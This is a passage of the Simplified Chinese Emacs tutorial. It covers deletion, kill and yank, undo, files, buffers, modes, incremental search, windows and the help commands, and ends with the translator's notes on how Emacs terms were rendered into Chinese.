键,通常被标示为"Delete"、"Del"或者"Backspace"。

如果你找到了标着"Backspace"的键,那么它应该就是 <Delback>;即便你又在
键盘其它地方找到了一个标示为"Del"的键,那么它也应该不是 <Delback>。

一种更通用的说法是,<Delback> 将位于光标前的一个字符删除。

>> 现在就试试——敲点字,然后按几下 <Delback> 删除它们。
不用担心你会修改文件,你干什么都没关系,这里就是专给你练习用的。

如果一行文字很长、超出了窗格的宽度,显示不下的部分会在紧邻的下一行继续
显示。这时会有一个反斜线(控制台下是反斜线,如果你用图形窗口系统,则应
该是一个小小的转弯箭头)显示在右边沿,表明这是某一行的接续显示。

>> 输入文字,一直到屏幕的右边界,然后继续,你会看到一个接续行出现。

>> 用 <Delback> 删掉一些文字,直到此行长度小于窗格宽度,接续行就消失了。

你可以像删除其他字符一样删除换行符。删除两行中间的换行符会将两行合并成
一行。如果合并的结果使这一行太长,超出了窗格的宽度,它就会以一个接续行
来显示。

>> 移动光标到本行的开头并输入 <Delback>。
这时本行与其前一行将被合并为一行。

>> 输入 <Return> 重新插入你刚才删除的换行符。

前面说过,大部分的 Emacs 命令都可以指定重复次数,这其中也包括输入字符的
命令。重复执行输入字符的命令实际上就是输入多个一样的字符。

>> 试试 C-u 8 *,这将会插入 ********。

好,现在你应该已经掌握了最基本的的文本插入和修改功能,其实删除还可以
"以词为单位"进行,下面是一个关于"删除"操作的小结:

<Delback> 删除光标前的一个字符
C-d 删除光标后的一个字符

M-<Delback> 移除光标前的一个词
M-d 移除光标后的一个词

C-k 移除从光标到"行尾"间的字符
M-k 移除从光标到"句尾"间的字符

【可能你已经注意到了"删除(delete)"和"移除(kill)"的用词区别,后
文会有详细说明。】

注意"<Delback> 和 C-d"还有"M-<Delback> 和 M-d"是根据前述惯例从 C-f
和 M-f 衍生出来的(其实<Delback>不是控制字符,我们先忽略这一点)。C-k
和 M-k 的关系在某种程度上与 C-e 和 M-e 一样——如果把"一行"和"一句"
作一个类比的话。

你也可以用一种统一的办法来移除缓冲区里的任何一部分:首先把光标移动到你
想要移除的区域的一端,然后按 C-@ 或 C-SPC(任一即可,SPC指空格)【注意,
C-SPC 往往被中文用户设定成输入法热键,如果这样,C-SPC 就被系统拦截而无
法输入给 Emacs 了,因此这里还是推荐使用C-@。】,然后再移动到另一端,再
按 C-w 就可以把位于这两点之间的所有文字移除了。

>> 移动光标到上一段开头的"你"字。
>> 输入 C-@ 。Emacs 应该会在屏幕的下方显示一个"Mark set"的消息。
>> 移动光标到第二行中的"端"字。
>> 输入 C-w,就会把从"你"开始到"端"之前的文字全部移除。

注意,"移除(kill)"和"删除(delete)"的不同在于被移除的东西可以找回
来,而被删除的就不行了。【实际上,移除掉的东西虽然看起来"消失"了,但
实际上被 Emacs 记录了下来,因此还可以找回来;而删除掉的东西虽然也可能还
在内存里,但是已经被Emacs"抛弃"了,所以就找不回来了。】重新插入被移除
的文字称为"召回(yank)"。一般而言,那些会去除很多文字的命令会把去除
掉的文字储存起来(它们被设定成了"可召回"),而那些只是去除一个字符或
者只是去除空白的命令就不会储存那些被去除掉的东西(因此你就无法召回)。

>> 移动光标到一非空白行的行头,然后输入 C-k 移除那一行上的文字。

>> 再次 C-k,你可以看到它移除了跟在那一行后面的换行符。

注意,单独的 C-k 会把一行的内容移除,而第二个 C-k 则会移除换行符,并使
其后所有的行都向上移动。C-k 处理数字参数的方式很特别,它会把参数指定的
那么多行连同其后的换行符一起移除,而不仅仅是重复 C-k 而已。比如 C-u 2
C-k 会把两行以及它们的换行符移除;而如果只是输入 C-k 两次显然不是这个结
果。

将被移除的文字恢复的动作称为"召回(yanking)"。(就好像你把别人从你身
边移走的东西又猛力地拉回来。)你可以在你删除文字的地方召回,也可以在别
的地方召回,还可以多次召回同样的文字以得到它的多个拷贝。

召回的命令是 C-y。它会在光标所在处插入你最后移除的文字。

>> 试试看,输入 C-y 将文字召回。

如果你一次连按了好几下 C-k,那么所有被移除的行会被存储在一起,只要一个
C-y 就可以把它们都召回。

>> 在这里试试,连续按几次 C-k。

现在再来恢复刚刚被我们移除的文字:

>> 按 C-y。然后把光标往下移动几行,再按一次 C-y。
现在你应该知道怎么复制文字了。

C-y 可以把最近移除的文字召回,但如果你想召回的东西不是最近移除的,该怎
么办呢?它们当然没有丢,你可以用 M-y 来召回它们。在用 C-y 召回最近移除
的文字之后,紧接着再用 M-y 就可以召回再前一次被移除的文字,再按一次
M-y 又可以召回再上一次的,因此只要多按几次 M-y 就可以找到你想要召回的东
西了。找到了之后,你什么也不用做,把它们晾在那里,继续你的编辑就行了。

如果你一次按 M-y 按了很多下,你可能会回到起始点,也就是最近移除的文字。
【看得出这实际上是一个环。】

>> 移除一行,移动一下光标,然后再移除另外一行。
按 C-y 将第二次移除的那行召回来。
紧接着再按 M-y,它将会被第一次移除的那行取代。
试着再按几下 M-y 看看会发生什么。
再继续,直到第二行被召回来,然后再做个几次。
如果你愿意,你可以试着给 M-y 指定一个正的或负的参数。


* 撤销(UNDO)
--------------

如果你修改了一段文字,又觉得改得不好,可以用 undo 命令进行撤销:
C-x u。

通常 C-x u 会消除一个命令所造成的所有改变;如果你在一行中连续多次地使用
C-x u,你会把以前的命令也依次撤销。

但是有两个例外:
1) 没有改变文字的命令不算(包括光标移动命令和滚动命令)
2) 从键盘输入的字符以组为单位——每组 20 个字符——来进行处理。
(这是为了减少你在撤销"插入文字"动作时需要输入 C-x u 的次数)

>> 用 C-k 将这一行移除,然后输入 C-x u ,它会再次出现。

C-_ 也是撤销命令;它的作用跟 C-x u 一样,但是它比较容易多次输入。C-_ 的
缺点是在某些键盘上可能不太容易按,这也正是我们同时提供 C-x u 的原因。在
某些终端上,你可以按住 CONTROL 再按"/"来输入 C-_。

数字参数对于 C-_ 和 C-x u 的意义是执行撤销的重复次数。


* 文件(FILE)
--------------

想保存工作成果就要记得存盘,否则一旦退出 Emacs 你编辑的文字就都丢了。要
存盘,就要在编辑前"寻找"到一个存盘文件。(这个过程通常也被称为"访问"
文件。)

寻找到一个文件意味着你可以在 Emacs 里查看这个文件的内容。从很多角度讲,
这就等于你在直接编辑这个文件。但是你所做的修改只有在"存盘"的时候才会
被写入文件。也正因为如此,你可以丢弃一个改到一半的文件而不必把这个残废
文件也保存到计算机上。最后就算你真正存了盘,Emacs 也会把存盘前的文件重
命名保存,以防你改完之后又想反悔。

在屏幕的下方,你应该能够看到头尾都是短线"-"的一行,其开头通常都是诸如
"--:-- TUTORIAL.cn"这样的东西,这些文字就代表了你当前正在访问的文件。
现在你访问的文件叫"TUTORIAL.cn",它只是给你个人临时使用的一个拷贝。只
要你用 Emacs 寻找到一个文件,文件名就会出现在上述位置。

寻找文件的命令有一个特别之处,那就是你必须给出文件名。我们称这个命令
"从终端读入了一个参数"(在这里,这个参数显然就是文件名)。当你输入了
这个命令之后:

C-x C-f 寻找一个文件

Emacs 会提示你输入文件名。你输入的文件名会出现在屏幕最底端的一行,这一
行被称为小缓冲(minibuffer),在小缓冲里你可以使用通常的 Emacs 编辑命令
来编辑文件名。

在小缓冲里输入文件名(其实输入别的东西也一样)时可以用 C-g 取消。

>> 输入 C-x C-f,然后输入 C-g
这会关掉小缓冲,同时也会取消使用小缓冲的 C-x C-f 命令。
当然了,你也没有找任何文件。

输入完文件名之后用 <Return> 结束,然后 C-x C-f 命令开始工作并找到你指定
的文件。小缓冲在 C-x C-f 命令结束之后也会消失。

眨眼间文件就会显示在屏幕上,你可以开始编辑了。存盘用这个命令:

C-x C-s 储存这个文件

这个命令把 Emacs 中的文字存储到文件中。第一次存盘的时候 Emacs 会将原文
件重命名以保留原文。重命名的规则通常是在原文件名之后添加一个"~"字符。

存盘结束后,Emacs 会显示写入文件的文件名。你最好养成经常存盘的习惯,这
样在系统崩溃或者死机的时候你不会损失太多。

>> 输入 C-x C-s 把本快速指南存下来。
你会看到"Wrote ...TUTORIAL.cn"这样的消息显示在屏幕的下方。

注意:使用某些终端的时候,输入 C-x C-s 会冻结屏幕【屏幕没有任何输出】,
这样你就看不到 Emacs 的任何变化。其原因是操作系统的"流量控制"功能把
C-s 拦截了,并且冻结了屏幕,Emacs 自然也就看不到这个输入了。用 C-q 可以
解除屏幕冻结。要解决这个问题,请参考 Emacs 手册里的"Spontaneous Entry
to Incremental Search"一节【Emacs 手册可能还没有中文翻译】,那里可能有
一些有用的建议。

你可以寻找一个已有的文件然后查看或者编辑,你还可以寻找一个不存在的文件。
实际上这正是用 Emacs 创建新文件的方法:找到不存在的新文件,然后从零开始。
在存盘的时候,Emacs 才真正创建这个文件然后再存盘。在这之后一切就跟你编
辑一个已有文件一样了。


* 缓冲区(BUFFER)
------------------

如果你用 C-x C-f 找到第二个文件,第一个文件仍然会在 Emacs 里。要切回第
一个文件,你可以 C-x C-f 再次寻找它。这样,你可以在 Emacs 里同时打开很
多文件。

>> 用 C-x C-f foo <Return> 的方式建立一个名为"foo"的文件。
然后敲入一些文字,再用 C-x C-s 保存文件"foo"。
最后,输入 C-x C-f TUTORIAL.cn <Return> 回到这里。

Emacs 把每个编辑中的文件都放在一个称为"缓冲区(buffer)"的地方。每寻
找到一个文件,Emacs 就在其内部开辟一个缓冲区。用下面的命令可以列出当前
所有的缓冲区:

C-x C-b 列出缓冲区

>> 现在就试一下 C-x C-b

观察一下缓冲区是如何命名的,它很可能跟其对应的文件同名。事实上,你在一
个 Emacs 窗格里看到的任何文字都是某个缓冲区的一部分。

>> 输入 C-x 1 离开缓冲区列表

不管存在多少缓冲区,任何时候都只能有一个是"当前"缓冲区,也就是你正在
编辑的这个。如果你想编辑另外一个缓冲区,那么你必须"切换"过去。上面讲
过,用 C-x C-f 可以切换到某个文件对应的缓冲区。不过还有一个更简单点的办
法,那就是用 C-x b。用这个命令,你必须输入缓冲区的名称。

>> 输入 C-x b foo <Return> 以回到文件"foo"的缓冲区。
然后输入 C-x b TUTORIAL.cn <Return> 回到这里。

大多数情况下,缓冲区和与其对应的文件是同名的(不包括目录名),不过这也
不是绝对的。用 C-x C-b 得到的缓冲区列表中显示的总是缓冲区的名称。

你在 Emacs 窗格里看到的"任何"文字都一定是属于某个缓冲区的。也有些缓冲
区并没有对应文件:比如显示缓冲区列表的缓冲区就是这样,再比如一个名叫
"*Messages*"的缓冲区也没有对应的文件,这个缓冲区里存放的都是在 Emacs
底部出现的消息。

>> 输入 C-x b *Messages* <Return> 瞅瞅消息缓冲区里都有什么东西。
然后再输入 C-x b TUTORIAL.cn <Return> 回到这里。

如果你对文件做了修改,然后切换到另一个文件,这个动作并不会帮你把第一个
文件存盘,对第一个文件的修改仍然仅限于 Emacs 中,也就是在它对应的缓冲区
里。同时对第二个文件的修改也不会影响到第一个文件。这很有用,但是也挺麻
烦,因为如果你又想要存储第一个文件,你还需要先用 C-x C-f 切换回去,然后
再用 C-x C-s 存盘,这显然太麻烦了。你需要一个更简便的方法,而 Emacs 当
然已经替你想到了:

C-x s 保存多个缓冲区

C-x s 会找到所有已被修改但尚未存盘的缓冲区,然后向你逐个询问,是否需要
存盘?

>> 插入一行文字,然后输入 C-x s。
它应该会问你,是否要储存名为 TUTORIAL.cn 的缓冲区?
按"y"告诉它你想存盘。


* 命令集扩展(EXTENDING THE COMMAND SET)
-----------------------------------------

Emacs 的命令就像天上的星星,数也数不清。把它们都对应到 CONTROL 和 META
组合键上显然是不可能的事情。Emacs 用扩展(eXtend)命令来解决这个问题,
扩展命令有两种风格:

C-x 字符扩展。 C-x 之后输入另一个字符或者组合键。
M-x 命令名扩展。M-x 之后输入一个命令名。

很多扩展命令都很有用,虽然与你已经学过的命令比起来,他们可能不那么常用。
你应该已经见过一些扩展命令了,比如用 C-x C-f 寻找文件和用 C-x C-s 保存
文件。退出 Emacs 用的 C-x C-c 也是扩展命令。(不用担心退出 Emacs 会给你
带来什么损失,Emacs 会在退出之前提醒你保存文件的)

在控制台下,C-z 可以暂时离开 Emacs——当然,你还可以再回来。

在允许 C-z 的系统中,C-z 会把 Emacs"挂起",也就是说,它会回到 shell
但不退出 Emacs。在那些最常用的 shell 中,通常可以用"fg"或者"%emacs"
命令再次回到 Emacs 中。

在没有提供挂起功能的系统中,C-z 会在 Emacs 之下创建一个子 shell 来让你
运行其它程序,并且再次"回到" Emacs 中——虽然我们并没有真正离开过。这
种情况下,通常用shell 命令"exit"从子 shell 回到 Emacs。

C-x C-c 最好在你打算退出登陆的时候再用。在 Emacs 被诸如邮件处理程序之类
的外部程序调用之后,也可以用 C-x C-c 退出。不过一般来讲,如果你不想退出
登录,最好还是把 Emacs 挂起而不是退出。

C-x 的扩展命令有很多,下面列出的是你已经学过的:

C-x C-f 寻找文件。
C-x C-s 保存文件。
C-x C-b 列出缓冲区。
C-x C-c 离开 Emacs。
C-x 1 关掉其它所有窗格,只保留一个。
C-x u 撤销。

用命令名扩展的命令一般都不太常用,或者只在部分模式下被用到。比如
replace-string(字符串替换)这个命令,它会在全文范围内把一个字符串替换
成另一个。在你输入 M-x 的时候,Emacs 会在屏幕底端向你询问,然后你应该输
入命令名。如果你想输入"replace-string",其实只需要敲"repl s<TAB>"就
行了,Emacs 会帮你自动补齐的。输入完之后按 <Return> 。

字符串替换命令需要两个参数——被替换的字符串和用来替换它的字符串。每个
参数的输入用换行符来结束。

>> 将光标移到本行的下两行空白,然后输入
M-x repl s<Return>changed<Return>altered<Return>。

【为了继续练习,保留一行原文如下:
Notice how this line has changed: you've replaced... 】

请注意这一行是怎么改变的:在光标之后的范围内,你已经将"changed"这个
词——不管它在哪里出现——全部用"altered"替换掉了。


* 自动保存(AUTO SAVE)
-----------------------

如果你修改了一个文件但是还没来得及存盘,然后你的计算机罢工了,那么你编
辑的东西很可能就找不回来了。为了避免这样的不幸一再发生,Emacs 会定期将
你正在编辑的文件存入一个"自动保存"文件中。自动保存的文件名的头尾各有
一个"#"字符,比如你正在编辑"hello.c",那么它的自动保存文件就叫
"#hello.c#"。在你正常存盘之后,Emacs 会删除自动保存文件。

假如不幸真的发生了,你大可以从容的打开原来的文件(注意不是自动保存文件)
然后输入 M-x recover file<Return> 来恢复你的自动保存文件。在提示确认的
时候,输入 yes<Return> 就行了。


* 回显区(ECHO AREA)
---------------------

如果 Emacs 发现你输入多字符命令的节奏很慢,它会在窗格的下方称为"回显区"
的地方给你提示。回显区位于屏幕的最后一行。


* 状态栏(MODE LINE)
---------------------

位于回显区的正上方的一行被称为"状态栏"。状态栏上会显示一些信息,比如:

--:** TUTORIAL.cn (Fundamental)--L670--54%----------------

状态栏显示了 Emacs 的状态和你正在编辑的文字的一些信息。

你应该知道文件名的意思吧?就是你找到的那个文件嘛。-NN%-- 显示的是光标在
全文中的位置。如果位于文件的开头,那么就显示 --Top-- 而不是 --00%--;如
果位于文件的末尾,就显示 --Bot--。如果文件很小,一屏就足以显示全部内容,
那么状态栏会显示 --All--。

L 和其后的数字给出了光标所在行的行号。

最开头的星号(*)表示你已经对文字做过改动。刚刚打开的文件肯定没有被改动
过,所以状态栏上显示的不是星号而是短线(-)。

状态栏上小括号里的内容告诉你当前正在使用的编辑模式。缺省的模式是
Fundamental,就是你现在正在使用的这个。它是一种"主模式"。

Emacs 的主模式林林总总。有用来编辑程序代码的——比如 Lisp 模式;也有用
来编辑各种自然语言文本的——比如 Text 模式。任何情况下只能应用一个主模
式,其名称会显示在状态栏上,就在现在显示"Fundamental"的地方。

主模式有时会改变一些命令的行为。比如说,不管编辑什么样的程序代码,你都
可以用一个统一的命令来添加注释,但是在不同的语言中注释的语法往往是不同
的,这时相应的主模式就会分别用各自的语法规则来添加注释。主模式都是可以
用 M-x 启动的命令,所以 M-x fundamental-mode 就可以切换到 Fundamental
模式。

如果你要编辑自然语言文本——比如现在——你应该用 Text 模式。

>> 输入 M-x text mode<Return>。

别害怕,没有什么命令会改变功能。不过你可以发现,M-f 和 M-b 现在把单引号
(')视为词的一部分了。而在先前,在 Fundamental 模式中,M-f 和 M-b 都将
单引号视为分隔单词的符号。

主模式通常都会搞一些类似的小动作,因为很多命令其实完成的是"相同的工
作",只是在不同情况下会有不同的工作方式而已。【所谓"求同存异",在
Emacs 里得到了很好的体现】

用 C-h m 可以查看当前主模式的文档。

>> 用 C-u C-v 将本行带到靠近屏幕的上方。
>> 输入 C-h m,看看 Text 模式与 Fundamental 模式有哪些不同。
>> 输入 C-x 1 关掉文档窗格。

主模式之所以称之为"主(major)"模式,是因为同时还有"辅模式"(minor
mode)存在。辅模式并不能替代主模式,而是在主模式之外再做一些辅助的修改。
每个辅模式都可以独立地开启和关闭,跟其它辅模式无关,跟主模式也无关。所
以你可以不用辅模式,也可以用一个或者多个辅模式。

有一个叫做自动折行(Auto Fill)的辅模式用处很大,特别是在编辑自然语言文
本的时候。这个辅模式启动后,Emacs 会在你打字超出一行边界时自动替你换行。

用 M-x auto fill mode<Return> 启动自动折行模式。启动之后,如果我们再用
一次 M-x auto fill mode<Return>,自动折行模式就被关闭了。也就是说,如果
自动折行模式没有开启,这个命令会开启它;而如果已经开启了,这个命令会关
闭它。我们说这个命令用来"开关(toggle)"模式。

>> 现在输入 M-x auto fill mode<Return>。然后随便敲点什么,直到你看到它
分成两行。必须敲一些空格,因为 Auto Fill 只在空白处进行断行。【空格
对英文来说是必须的,而对中文则不必。】

行边界通常被设定为 70 个字符【这里指英文字符】,你可以用 C-x f 命令来重
新设定之。指定新行边界可以用数字参数来进行传递。

>> 输入 C-x f 并传递参数 20: C-u 2 0 C-x f。
然后输入一些文字,观察 Emacs 的自动折行动作
最后再用 C-x f 将边界设回 70。

如果你在段落的中间做了一些修改,那么自动折行模式不会替你把整个段落重新
折行。重新自动折行用 M-q,注意使用的时候光标必须位于你想折行的那一段里。

>> 移动光标到前一段中,然后输入 M-q。


* 搜索(SEARCHING)
-------------------

Emacs 可以向前或者向后搜索字符串。搜索命令是一个移动光标的命令:搜索成
功后,光标会停留在搜索目标出现的地方。

Emacs 的搜索命令的独特之处在于,它是"渐进的(incremental)",意思是搜
索与输入同时进行:你在这边一个字一个字地输入你想搜索的东西,同时 Emacs
在那边就替你搜索了。

C-s 是向前搜索,C-r 是向后搜索。不过手别这么快!先等等别着急试。

在你按下 C-s 之后,你会发现回显区里有"I-search"字样出现,这是在提示
你目前 Emacs 正处于"渐进搜索"状态,正在等待你输入搜索字串。<Return>
会结束搜索。

>> 输入 C-s 开始一个搜索。注意敲慢一点,一次输入一个字符。
慢慢输入"cursor"整个词,每敲一个字就暂停一下,注意观察光标。
现在你应该已曾经找到"cursor"这个词了。
>> 再按一次 C-s,搜索下一个"cursor"出现的位置。
>> 现在按四次退格键,看看光标是如何移动的。
>> 敲 <Return> 结束搜索。

刚才看仔细了么?在一个渐进式搜索中,Emacs 会尝试跳到你输入的字符串的出
现位置。想跳到下一个搜索目标出现的位置,只要再按一次 C-s 就行了。如果找
不到,Emacs 会发出"哔"的一声,告诉你搜索失败。在整个过程中,都可以用
C-g 来终止搜索。【你会发现 C-g 之后光标回到了搜索开始前的地方,而
<Return> 会让光标留在搜索结果上,这是很有用的功能。】

注意:使用某些终端的时候,输入 C-x C-s 会冻结屏幕【屏幕没有任何输出】,
这样你就看不到 Emacs 的任何变化。其原因是操作系统的"流量控制"功能把
C-s 拦截了,并且冻结了屏幕,Emacs 自然也就看不到这个输入了。用 C-q 可以
解除屏幕冻结。要解决这个问题,请参考 Emacs 手册里的"Spontaneous Entry
to Incremental Search"一节【Emacs 手册可能还没有中文翻译】,那里可能有
一些有用的建议。

如果你正在渐进式搜索中,按退格键会删除目标字符串的最后一个字符,并且光
标会回到最近一次搜索的命中位置。比如你已经输入了"c",光标就停在"c"
第一次出现的地方,再输入"u",光标停在"cu"第一次出现的地方,这时再按
退格键,"u"就从搜索字串中消失了,然后光标会回到"c"第一次出现的地方。

另外如果你在搜索的时候输入了 CONTROL 或者 META 组合键的话,搜索可能会
结束。(也有例外,比如 C-s 和 M-r 这些对搜索有特别意义的组合键。)

前面说的都是"向下"搜索,如果想"向上"搜索,可以用 C-r。C-r 与 C-s
相比除了搜索方向相反之外,其它的操作都一样。


* 多窗格(MULTIPLE WINDOWS)
----------------------------

Emacs 的迷人之处很多,能够在屏幕上同时显示多个窗格就是其中之一。

>> 移动光标到这一行,然后输入 C-u 0 C-l。

>> 现在输入 C-x 2,它会将屏幕划分成两个窗格。
这两个窗格里显示的都是本篇快速指南,而光标则停留在上方的窗格里。

>> 试试用 C-M-v 滚动下方的窗格。
(如果你并没有 META 键,用 ESC C-v 也可以。)
【向上滚动是 C-M-S-v,也就是同时按住 CONTROL、META 和 SHIFT 再按 v】

>> 输入 C-x o("o"指的是"其它(other)"),
将光标转移到下方的窗格。

>> 在下方的窗格中,用 C-v 和 M-v 来滚动。
同时继续在上方的窗格里阅读这些指导。

>> 再输入 C-x o 将光标移回到上方的窗格里。
光标会回到它在上方窗格中原本所在的位置。

连续使用 C-x o 可以遍历所有窗格。每一个窗格都有它自己的光标位置,但是只
有一个窗格会真正显示这个光标。【其它窗格在控制台下不会显示光标,在图形
窗口下缺省显示为镂空光标。】一般所有的编辑命令都作用于这个光标所在的窗
格,我们称这个窗格为"被选中的窗格"。

当你在一个窗格中编辑,但是想用另一个窗格作参考的时候,C-M-v 是很有用的
命令。你可以保持光标始终处于编辑窗格中,然后用 C-M-v 命令在另外一个窗格
里滚动。【翻译和校对就很适合用这种方式进行。】

C-M-v 是一个 CONTROL-META 组合键。如果你有 META 键,你可以同时按住
CONTROL 和 META 键然后输入 v。CONTROL 和 META 键哪个先按没有关系,因为
它们只是用来"修饰(modify)"你输入的字符的。

如果你并没有 META 键,你也可以用 ESC 来代替,不过这样子按键顺序就有关系
了:你必须输入 ESC ,然后再输入 CONTROL-v。CONTROL-ESC v 是没用的,因为
ESC 本身是一个字符键,而不是一个修饰键(modifier key)。

>> (在上方窗格里)输入 C-x 1 关掉下方窗格。

(如果你在下方的窗格里输入 C-x 1,那么就会关掉上方的窗格。你可以把这个
命令看成是"只保留一个窗格"——就是我正在编辑的这个。)

不同的窗格里可以显示不同的缓冲区。如果你在一个窗格里用 C-x C-f 打开了
一个文件,另一个窗格并不会有什么变化。在任何一个窗格里都可以打开文件。

有一种方式可以让你在另一个窗格里打开文件:

>> 输入 C-x 4 C-f,后面紧跟着输入一个文件名,用 <Return> 结束。
可以看到你指定的文件出现在下方的窗格中,同时光标也跳到了那里。

>> 输入 C-x o 回到上方的窗格,然后再用 C-x 1 关掉下方窗格。


* 递归编辑(RECURSIVE EDITING LEVELS)
--------------------------------------

有时候你会进入所谓的"递归编辑"。递归编辑状态由位于状态栏的方括号所指
示,其中包含了用小括号来指明的模式名称。比如说,你有时可能会看到
[(Fundamental)],而不是 (Fundamental)。【比如在用 M-% 进行交互式替换的
时候你又用了 C-s 进行搜索,这时替换模式并没有结束,但你又进入了搜索模式,
这就是所谓的递归编辑。】

离开递归编辑可以用 ESC ESC ESC。这是一个最通用的"离开"命令,你甚至可
以使用它来关掉多余的窗格,或者离开小缓冲。

>> 输入 M-x 进入小缓冲;然后输入 ESC ESC ESC 离开。

你不能用 C-g 来离开递归编辑,因为 C-g 的作用是取消命令和"参数
(arguments)",而这些东西都位于本层递归编辑"之内"。


* 获得更多帮助(GETTING MORE HELP)
-----------------------------------

本快速指南的目的仅仅是帮助你学会在 Emacs 的大海里游泳,不至于一上来就淹
死。有关 Emacs 的话题三天三夜也讲不完,这里自然是写不下了。Emacs 很理解
你求知若渴的心情,因为它提供的强劲功能实在是太多了。Emacs 提供了一些命
令来查看 Emacs 命令的文档,这些命令都以 CONTROL-h 开头,这个字符也因此
被称为"Help(帮助)字符"。

要使用帮助(Help)功能,请先输入 C-h,然后再输入一个说明你需求的字符。
如果你晕到连需要什么帮助都不知道,那么就输入 C-h ?,Emacs 会告诉你它能
提供哪些帮助。如果你已经按了 C-h 又想反悔,那么用 C-g 取消它就是了。

(有些站点改变了 C-h 的意思,他们这种以己度人外加一刀切的做法让倒是让你
可以义正辞严的抱怨系统管理员,真的不是太好。话说回来,如果你按 C-h 之后
没有任何帮助信息显示出来,那么试试 F1 键或者 M-x help <Return>。)

最基本的帮助功能是 C-h c。输入 C-h c 之后在输入一个组合键,Emacs 会很简
要地给出这个命令的说明。

>> 输入 C-h c C-p。

显示的消息应该会是这样:

C-p runs the command previous-line

这条消息显示了 C-p 命令对应的函数名,函数名主要用来定制和扩展 Emacs。命
令的功能由函数完成,所以函数名本身也可以被看成是最简单的文档——至少对
于你已经学过的命令来说,它们的函数名足以解释它们所完成的工作了。

多字符命令一样可以用 C-h c 来查看。

想得到更多的信息,请把 C-h c 换成 C-h k 试试看。

>> 输入 C-h k C-p。

上面的命令会新打开一个 Emacs 窗格,并在其中显示函数的名称及其文档。你读
完之后,可以用 C-x 1 关掉这个帮助窗格。当然你并不需要在 C-h k 之后立即
这样做,你完全可以先在编辑窗格里做点别的事情,然后再用 C-x 1 关掉帮助。

还有一些其他有用的 C-h 命令:

C-h f 解释一个函数。你要输入函数名。

>> 试试看,输入 C-h f previous-line<Return>。
Emacs 会给出它所知道的所有有关"实现 C-p 命令功能的函数"的信息。

C-h v 用来显示 Emacs 变量的文档,Emacs 变量可以被用来"定制 Emacs 的行
为"。同样,你需要输入变量的名称。

C-h a 相关命令搜索(Command Apropos)。
输入一个关键词然后 Emacs 会列出所有命令名中包含此关键词
的命令。这些命令全都可以用 M-x 来启动。对于某些命令来说,
相关命令搜索还会列出一两个组合键。

>> 输入 C-h a file<Return>。

Emacs 会在另一个窗格里显示一个 M-x 命令列表,这个列表包含了所有名称中含
有"file"的命令。你可以看到像"C-x C-f"这样的组合键显示在"find-file"
这样的命令名的旁边。

>> 用 C-M-v 来回滚动 help 窗格,多试几次。

>> 输入 C-x 1 来删除 help 窗格。

C-h i 阅读联机手册(也就是通常讲的 Info)。
这个命令会打开一个称为"*info*"的特殊缓冲区,在那里,
你可以阅读安装在系统里的软件包使用手册。要读 Emacs 的使
用手册,按 m emacs <Return> 就可以了。如果你之前从没用
过 Info 系统,那么请按"?",Emacs 会带你进入 Info 的使
用指南。在看完本快速指南之后,Emacs Info 会成为你的主要
参考文档。


* 更多精彩(MORE FEATURES)
---------------------------

想了解更多使用 Emacs 的知识,应该去读一读 Emacs 使用手册——可以是纸版
的书,也可以是电子版的联机帮助(可以从 Help 菜单进入或者按 F10 h r)。
提两个你可能会很感兴趣的功能吧,一个是可以帮你少敲键盘的 completion(自
动补全),一个是方便文件处理的 dired(目录编辑)。

Completion 可以替你节省不必要的键盘输入。比如说你想切换到 *Message* 缓
冲区,你就可以用 C-x b *M<Tab> 来完成,只要 Emacs 能够从你已经输入的文
字中判断出你想要输入的东西,它会自动帮你补齐余下的。有关 Completion 的
详细解释可以在 Emacs Info 中的"Completion"一节里找到。

Dired 可以在一个缓冲区里列出一个目录里的所有文件(可以选择是否也列出子
目录),然后你可以在这个文件列表上完成对文件的移动、访问、改名或者删除
等等操作。Dired 也在 Emacs Info 中有详细说明,就在"Dired"一节。

Emacs 使用手册里还有很多很多的精彩功能等着你来了解。


* 总结(CONCLUSION)
--------------------

记住,要退出 Emacs 请用 C-x C-c。要暂时切换到 shell 并且稍后再回到
Emacs 里来,请用 C-z。【切换到 shell 仅对控制台下的 Emacs 有效】

本文完全是为零起点新手写的傻瓜教程。如果你觉得哪里还看不明白,千万不要
觉得不好意思,那一定是我们没有写好。我们永远欢迎你的不满和抱怨。


* 翻译(TRANSLATION)
---------------------

翻译:孙 一江 <sunyijiang@gmail.com>
校对:水木社区(www.newsmth.net)Emacs 板众多网友

Emacs 快速指南(Tutorial)早有两个刘昭宏的中文译本,繁简各一。其简体版本
(TUTORIAL.cn)基本由繁体版本(TUTORIAL.zh)经词语替换而得。然而繁简中文
不仅在用词习惯上有所不同,更有诸多表达方式和句法方面的差异。因此一直以来
阅读 TUTORIAL.cn 都略觉晦涩和生硬。这次重新翻译 TUTORIAL.cn 的动机正是源
于这种体验,希望我们的工作能够弥补这个缺憾。TUTORIAL.zh 的译文质量很高,
在翻译过程中给予过我们很多借鉴和参考,在此对刘昭宏的工作表示感谢。

翻译过程中最大的挑战莫过于术语译词的选择了。经过水木社区 Emacs 板热心网
友小范围内的讨论,我们选择了现在的译法。用户的广泛参与是自由软件生命力的
源泉,所以如果你有任何建议、更正或更好的想法,请用你喜欢的方式向我们提出
。你可以直接给我发电子邮件,也可以放到 Emacs 的开发邮件列表或者水木社区
的 Emacs 板上进行讨论。下面列出主要术语的译词对照,并给出注释说明:

command 命令
cursor 光标
scrolling 滚动
numeric argument 数字参数
window 窗格 [1]
insert 插入
delete 删除 [2]
kill 移除 [2]
yank 召回 [2]
undo 撤销
file 文件
buffer 缓冲区
minibuffer 小缓冲
echo area 回显区
mode line 状态栏
search 搜索
incremental search 渐进式搜索 [3]

[1] "window"一词在计算机相关的领域一般都被译为"窗口"。但是在 Emacs
中,还有一个"frame"的概念。在被广泛使用的 X 窗口系统和微软的视窗
(Windows)系列操作系统中,Emacs 的一个"frame"就是一个"窗口",因
此把 Emacs 中的"frame"译成"窗口"更加符合通常的习惯。这样,Emacs
中的"window"就只能译成"窗格"了。我们认为 Emacs 中 window 和
frame 的关系用窗格和窗口来类比是十分形象的。

[2] 对于"delete"和"kill"的区别,正文已经给出了详细的说明。"删除"和
"移除"相比较起来,前者更多地隐含着"破坏"和"不可恢复"的意思,而
后者更多地隐含着"被转移"和"可恢复"的意思。因此分别选择它们作为上
述两词的译词,希望能够体现出区别。"yank"在中文文档中鲜有对应译词出
现,翻译的困难较大。究其本意是:"a strong sudden pull"(参见韦氏词
典),即"猛然拉回"。在原文档中 yank 被引申为"将先前移除的东西再移
回来"这个意思,所以我们选择了"召回"一词与其对应。

[3] "incremental"一词在计算机著作中广泛出现,被广泛接受的中文译词有两
